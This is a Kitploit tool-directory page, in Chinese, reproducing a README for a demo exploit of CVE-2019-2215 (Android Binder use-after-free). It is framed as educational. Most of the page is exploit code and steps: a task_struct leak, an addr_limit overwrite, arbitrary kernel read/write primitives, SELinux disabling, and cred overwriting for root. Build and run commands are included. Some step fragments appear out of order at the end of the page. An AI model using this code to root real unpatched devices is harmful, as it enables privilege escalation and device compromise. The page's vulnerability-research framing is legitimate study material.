Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
android-badbinder-demo — 演示 CVE-2019-2215 (Bad Binder) 针对 Android Q | Kitploit
工具/GitHubGitHub/i-redbyte/android-badbinder-demo
Android安全权限提升漏洞利用学习与教育二进制利用
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

演示 CVE-2019-2215 (Bad Binder) 针对 Android Q

查看仓库
519个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-2215 (Bad Binder) — 漏洞利用分析

此仓库是研究 CVE-2019-2215 (Bad Binder) 漏洞并编写适用于 Android 的工作原型 exploit 的小型测试项目,附带一个基于 Kotlin/Jetpack Compose 的简单图形界面。

本 README 中我将:

  1. 描述环境准备和原型 exploit 的启动。
  2. 分析 CVE-2019-2215 漏洞利用的主要阶段,并将其与 C 代码中的具体函数对应起来。
  3. 单独列出我在过程中遇到的困难以及如何解决它们。

预构建 APK (GitHub Actions)

仓库中配置了 GitHub Actions workflow,每次 push/PR 时使用 ./gradlew assembleDebug 构建项目,并将构建好的 badbinder-debug.apk 发布为制品。

下载方式:

  1. 打开仓库中的 Actions 标签页。
  2. 选择对应的 workflow 运行记录。
  3. 在页面底部找到 Artifacts 区域,下载包含 APK 的 badbinder-debug-apk 压缩包。

这样做是为了方便,如果只是想测试应用而无需搭建本地环境。


漏洞简介

CVE-2019-2215 是 Android 内核 Binder IPC 子系统中的一个 Use-After-Free (UAF) 漏洞。

简化来说:

  • 内核中存在一个结构体 struct binder_thread,描述执行 Binder 调用的线程;
  • 该结构体可能被释放 (free),但在特定调用序列下仍保留在等待队列 (waitqueue) 中;
  • 之后内核尝试对已释放的内存在 remove_wait_queue 中进行操作,从而触发经典的 UAF 场景;
  • 如果精心设置环境及后续分配,可以迫使内核读/写任意地址,进而获取内核权限,再提升至 userspace root。

更详细的理论分析基于以下资料:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. 环境准备与原型 exploit 启动

1.1. 选择并准备虚拟设备

根据任务要求,建议使用 Android 10.0 (Q) x86_64 的 AVD 镜像。
我执行了以下步骤:

  1. 在 Android Studio 中创建 AVD (Pixel 设备, Android 10 (Q), x86_64)。
  2. 确认镜像中启用了 Binder 并存在 /dev/binder 设备。
  3. 启用 USB/ADB 调试并检查设备访问:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

在此阶段我遇到了一个令人不快的事实:
目前 最新的 AVD 镜像已附带修补过的内核,其中已修复 CVE-2019-2215。也就是说,在现在的官方模拟器上无法真正获取 root — exploit 会在后续阶段崩溃,或根本无法提权。

因此,我将 AVD 用作 复现 exploit 逻辑的训练环境:

  • 我可以获得相同的系统调用序列,
  • 观察 UAF 尝试、地址泄漏以及改写 addr_limit 的尝试,
  • 但最终“获取 root”在当前修补过的内核上自然无法生效(这是预期的)。

这是一个重要的细节:以下所有代码和报告均为 教学性质,而非“实战”性质。


1.2. 构建包含原生 exploit 的 Android 应用

我制作了一个小型 Android 应用:

  • UI 基于 Kotlin + Jetpack Compose,
  • 原生部分 用 C 通过 JNI 实现 — 即 exploit 本身的代码,
  • 两者之间通过 JNI 回调通信,使得来自 C 代码的字符串直接显示在 UI 中。

主要步骤:

  1. 在 Android Studio 中创建普通项目(Kotlin,最低支持 Android 10)。

  2. 集成 NDK 和 CMake。

  3. 添加原生 exploit 文件(即包含 leak_task_struct、overwrite_addr_limit 等函数的 cve-2019-2215.c)。

  4. 在 CMakeLists.txt 中添加构建 libcve-2019-2215.so 的规则。

  5. 在 MainActivity 中:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. 在 Kotlin 侧创建 ExploitViewModel,它实现 NativeLogger 接口,并将所有消息存入 StateFlow<List<String>>。UI 订阅此流并在“终端”中显示日志。

在 Activity 启动时,我调用 setNativeLogger(viewModel),以便原生代码获取一个可以向其发送字符串的对象。


1.3. 启动与使用场景

  1. 构建并安装应用:

    root@kitploit:~
    ./gradlew installDebug
    
  2. 启动 AVD 和该应用。

  3. 屏幕上显示一个“终端”和 RUN EXPLOIT 按钮。

  4. 点击按钮后:

    • Kotlin 在后台线程中调用 runNativeExploit()。
    • C 代码开始执行 exploit 的所有阶段,并记录日志步骤。
    • 通过 JNI 回调,日志进入 ViewModel,并在 Compose UI 中显示。

在真实存在漏洞的内核上,我期望最终看到类似如下输出:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

而在当前 Android 10 模拟器上,这当然不会发生,但其余部分 — task_struct 泄漏、改写 addr_limit 的尝试、计算 cred 和 kernel_base — 都作为“场景”得以执行,这符合任务要求。


2. exploit 主要阶段分析及与代码的对应关系

下面是用 C 函数对应的 exploit 逻辑示意图。

2.1. exploit 总体流程

高级计划如下:

  1. 在 struct binder_thread 对象上创建 UAF,并利用它泄漏自身进程的 task_struct 地址 (leak_task_struct)。
  2. 通过第二次 UAF 循环和精心构造的结构,改写 task_struct 中的 addr_limit 字段 (overwrite_addr_limit) — 这消除了用户空间和内核空间地址之间的限制,以便后续的 copy_to_user / copy_from_user。
  3. 利用管道实现任意内核内存读/写 (arb_read / arb_write)。
  4. 据此找到当前进程的 cred 和内核基址 (verifying),然后:
    • 关闭 SELinux (selinux_enforcing = 0),

同时,我集成了 JNI 日志记录器,以便在 UI 中直接看到所有这些阶段。


2.2. 阶段 1 — 泄漏 task_struct 地址 (leak_task_struct)

关键函数:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

函数作用:

  1. 将线程固定在 CPU 0 上 (sched_setaffinity),使内核分配器的行为更可预测。这提高了 UAF 利用的稳定性。

  2. 打开 /dev/binder,创建 epoll 描述符:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    将 Binder 描述符注册到 epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. 准备 struct iovec iov_buffers[IOVEC_N] 数组并分配内存:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    这里重要的是地址的低 32 位为零:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    这与漏洞利用文章中的技术相符:后续内核会将我们的部分数据解释为包含指针的结构体,而这种“漂亮对齐”的地址简化了滥用。

    然后填充 iov_buffers[0xa] 和 iov_buffers[0xb] 字段,使得在 UAF 发生时,内核将包含 task_struct 指针的内存块复制到管道中。

结果:我得到了内核中 task_struct 的地址,这对后续步骤至关重要。


2.3. 阶段 2 — 改写 addr_limit (overwrite_addr_limit)

task_struct 中的 addr_limit 决定了进程在系统调用中可以传递哪些地址作为用户空间指针。如果将其改写为接近最大值,内核将无法区分用户空间地址和其自身地址空间中的地址 — 许多看似安全的 copy_(to|from)_user 操作将变成任意内核读/写。

函数:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

遵循非常相似的模式:

  1. 再次固定 CPU 亲和性,打开 /dev/binder,创建 epoll。

  2. 准备 iov_buffers,但这次方案不同:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. 使用 socketpair(AF_UNIX, SOCK_STREAM, ...) 代替管道:

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. 为 recvmsg 准备 msghdr 结构:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. 在子进程中(fork() 后)再次启动 UAF 竞争:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. 阶段 3 — 任意读/写与验证 (arb_read, arb_write, verifying)

改写 addr_limit 后,我使用管道将普通读/写操作转化为读取和写入内核地址的能力。

原语 arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

类似地,arb_write 改变复制方向。

检查与搜索关键结构

函数 verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

这里我:

  • 从内核读取 task_struct 的内容;
  • 通过 PID_OFFSET 确认这确实是自己的结构;
  • 提取指向 cred 的指针和内核地址泄漏 (kernel_leak);
  • 根据硬编码偏移计算 kernel_base。

2.5. 阶段 4 — SELinux 与 root 提权

runNativeExploit 中的最后部分:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • 我计算全局变量 selinux_enforcing 的地址,并将其设置为零/“允许”状态。

接下来是改写 cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

我直接将能力字段和 cred 中一些其他字段填充为最大值,以便为进程授予完整权限。

最后检查:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

在真实存在漏洞的内核上,我会期望 uid=0,而在修补过的镜像上,提权自然被禁用。


2.6. JNI 与 UI 中的日志

为了实时看到所有内容,我添加了中间层:

  • JNI_OnLoad 保存 JavaVM* 和主进程 PID;
  • setNativeLogger 接收实现 onLog(String) 方法的 Kotlin 对象,并将其保存为 GlobalRef;
  • android_log/android_log_hex 写入 logcat 并调用 send_to_ui,后者将字符串传递给 Kotlin,由 ExploitViewModel 获取并显示在 Compose“终端”中。

重要:send_to_ui 根据 PID 过滤子进程 — 在 fork() 后调用 JNI 而不执行 exec() 是不安全的。


3. 困难与解决方案

3.1. 修补过的 AVD 镜像

我遇到的问题是当前没有适用于 Android 10 且内核未经修补的官方 AVD 镜像,其中仍存在 CVE-2019-2215。

除了“实战”获取 root,我将重点放在:

  • 复现漏洞利用逻辑,
  • 分析 UAF 序列,
  • 在 Android 应用中可视化所有步骤。

如果需要,可以将此代码移植到具有旧版未修补内核的真实设备上,但这已超出任务范围。


3.2. 硬编码偏移与内核版本依赖性

我不得不显式指定:

  • ADDR_LIMIT_OFFSET、PID_OFFSET、CRED_OFFSET;
  • kernel_leak 和 selinux_enforcing 的偏移;
  • 计算 kernel_base 的常量。

我特意没有自动化这些值的搜索,以免扩大项目规模。报告中,我假设这是一个针对特定内核版本的教学示例,而非通用 exploit。


3.3. 竞争条件与稳定性

使用 fork()、epoll_ctl、BINDER_THREAD_EXIT 以及不同的时序是一块雷区。我遇到的情况是,如果没有:

  • sched_setaffinity,
  • 少量的 sleep,
  • 以及沿途激进的 assert,

exploit 会变得极其不稳定。
我逐步调试了序列,使其在存在漏洞的配置上可预测,而在修补过的配置上,在最后几步能够正确“失败”。


3.4. JNI 与 fork()

我还遇到了一个问题:直接从子进程通过 JVM 记录日志会导致奇怪的行为。
我不得不回顾 JNI 规则,并添加 PID 检查,以便仅从主进程与 JVM 通信。

折衷方案:部分消息仅在 logcat 中可见,而在 UI 中只显示来自父进程的消息。这对我来说可以接受,因为任务中重要的是主要的检查点,而不是每一条调试输出。


3.5. UI

作为任务更具创意的一部分,我决定制作一个便于分析的界面:

  • 我实现了一个类似黑暗终端、绿色文字风格的“控制台”屏幕;
  • 日志逐行输出,自动滚动到最新记录;
  • 不同类型的消息 ([+]、[*]、[!]、[C]) 用不同颜色高亮,便于阅读;
  • 执行结果 (Success / Failed) 单独显示在一个块中。

这大大简化了对原生代码工作的感知:不再是枯燥的 logcat,而是在应用中直接在一个地方看到所有内容。


总结

通过此任务,我:

  1. 准备了 AVD 环境和包含实现 CVE-2019-2215 exploit 的原生部分的 Android 应用。
  2. 逐步分析了漏洞利用过程:
    • Binder 中的 UAF 与 task_struct 泄漏,
    • 改写 addr_limit,
    • 构建任意读/写原语,
    • 查找 cred、关闭 SELinux 及尝试提权。
  3. 遇到了一系列实际的工程问题(内核补丁、版本依赖性、竞争条件、JNI 特性)并逐一解决或绕过。

项目虽小,但本质上反映了真实内核漏洞的完整生命周期:从理论描述和阅读文章,到实际实现并集成到活生生的 Android 应用中。

P.S.

运行 exploit 的替代方式

在 cve-2019-2215 目录下有一个 Makefile,可以构建原生二进制文件 (x86_64) 并通过 ADB 直接在 AVD 中运行。如果需要 aarch64 版本,可以单独构建。

  1. 构建原生二进制文件:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. 将二进制文件复制到 AVD,例如 /sdcard/cve-2019-2215
  3. 启动 ADB shell 并执行二进制文件:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. 成功执行 exploit 后,可以检查是否获得 root:
    root@kitploit:~
    id
    
    预期输出:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
下载工具
  • 改写 cred 字段,成为 root 并获得完整能力集 (runNativeExploit)。
  • 创建管道并将其缓冲区大小设为 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • 接下来是 经典的 UAF 竞争。我启动一个子进程:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • 父进程继续执行后续代码。
    • 在子进程中,epoll_ctl(..., EPOLL_CTL_DEL, ...) 导致内核中关联的 binder_thread 被释放,但它仍然出现在等待队列结构中 — 这就是 UAF 点。
  • 在父进程中,我调用:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // 释放 binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    在此阶段,由于 UAF,writev 使用了已释放的内存作为 iovec 结构,实际上重新解释了之前存放 binder_thread 的同一内存区域,但现在将其视为指针/长度集合。副作用之一是将内核内存片段复制到我们的管道中。

  • 最后,我从管道中读取:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    偏移 0xe8 是针对特定内核版本调整的 — 在泄漏的内存块中,该位置包含指向我的进程 task_struct 的指针。

  • 父进程照例释放 binder_thread 并调用 recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    由于 UAF 和巧妙的结构替换,内核最终将 task_struct + ADDR_LIMIT_OFFSET 视为用户缓冲区地址,并将发送的结构体内容复制到该地址(我们的值 0xfffffffffffffffe),从而改写 task_struct 中的 addr_limit。

  • 在日志中写入:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");